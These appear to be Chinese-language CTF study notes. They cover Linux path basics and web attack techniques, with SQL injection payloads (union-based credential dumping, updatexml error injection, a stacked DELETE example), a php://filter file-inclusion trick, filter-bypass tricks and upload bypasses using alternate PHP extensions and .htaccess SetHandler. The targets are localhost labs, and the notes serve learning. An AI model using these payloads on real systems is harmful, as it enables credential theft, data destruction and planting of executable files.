web
web之linux基本操作
1、Linux中“./”在系统文件中表示绝对路径的意思。
linux系统中,所有的文件与目录都是由根目录/开始,不是以/开头的就是相对路径;
1、“.”表示当前目录,也可以用“./”表示;
2、“…”表示上一级目录,也可以用“…/”表示;
3、“~” 代表用户自己的宿主目录;
4、“/”处于Linux文件系统树形结构的最顶端,我们称它为Linux文件系统的root,它是Linux文件系统的入口。
所有的目录、文件、设备都在/之下,它是Linux文件系统最顶层的唯一的目录;
一般建议在根目录下面只有目录,不要直接存放文件;根目录是linux系统启动时系统第一个载入的分区,所以启动过程中用到的文件应该都放在这个分区中。
其中/etc、/bin、/dev、/lib、/sbin这5个子目录都应该要与根目录连在一起,不可独立成为某个分区。
web之sql注入
1、基本注入方式:
求列数:http://127.0.0.1/sqli/Less-2/?id=1 order by 3 #
求显示位:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3 #
求库名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3 #
求表名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #
求列名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name = ‘users’ #
求字段值:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(username,0x23,password),3 from security.users #
2、堆叠注入:sql注入的时候可能会出现禁用单词的情况,这时候可以使用“堆叠注入”在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。4、文件包含漏洞利用伪协议进行操作:php://filter/convert.base64-encode/resource=绝对路劲或相对路劲
3、sql注入空格绕过:
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
4、sql注入rename table 表名 to 新表名 #更改表名
alter table 表名 change 旧字段名 新字段名 字段类型 #更改表中字段名
5、sql注入之盲注:可以使用sqlmap跑(需要学习)
6、sqlmap使用:
7、union select 小技巧:在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据 我们通过union select查询就可以构造一行虚拟的数据,进行MD5密码验证的绕过
8、updatexml报错注入:
爆数据库名:?username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123
爆表名:?username=admin’or(updatexml(1,concat(0x7e,
(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))%23&pa
ssword=123
爆列名:?username=admin’or(updatexml(1,concat(0x7e,
(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))%23&pa
ssword=123
爆字段名:?username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=123
left right 拼接flag:
可以使用left(),right()来进行拼接操作
?username=admin’or(updatexml(1,concat(0x7e,
(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
?username=admin’or(updatexml(1,concat(0x7e,
(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
web之上传绕过
1、基本绕过 抓包查看黑白名单,通过修改其黑白名单进行绕过
2、大小写绕过,通过修改后缀的大小写来进行绕过
3、后缀名修改就行绕过php,php3,php4,php5,phtml.pht
4、.htaccess文件绕过 : SetHandler application/x-httpd-php 将其他文件转化为php文件
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。新建.htaccess文件,编辑内容为SetHandler application/x-httpd-php
//该语句作用是让Apache将其他类型文件均以php格式解析 更改Apache里的.htaccess的配置。可以将其它类型的文件转化为PHP的文件类型。 ####buuctf 你传你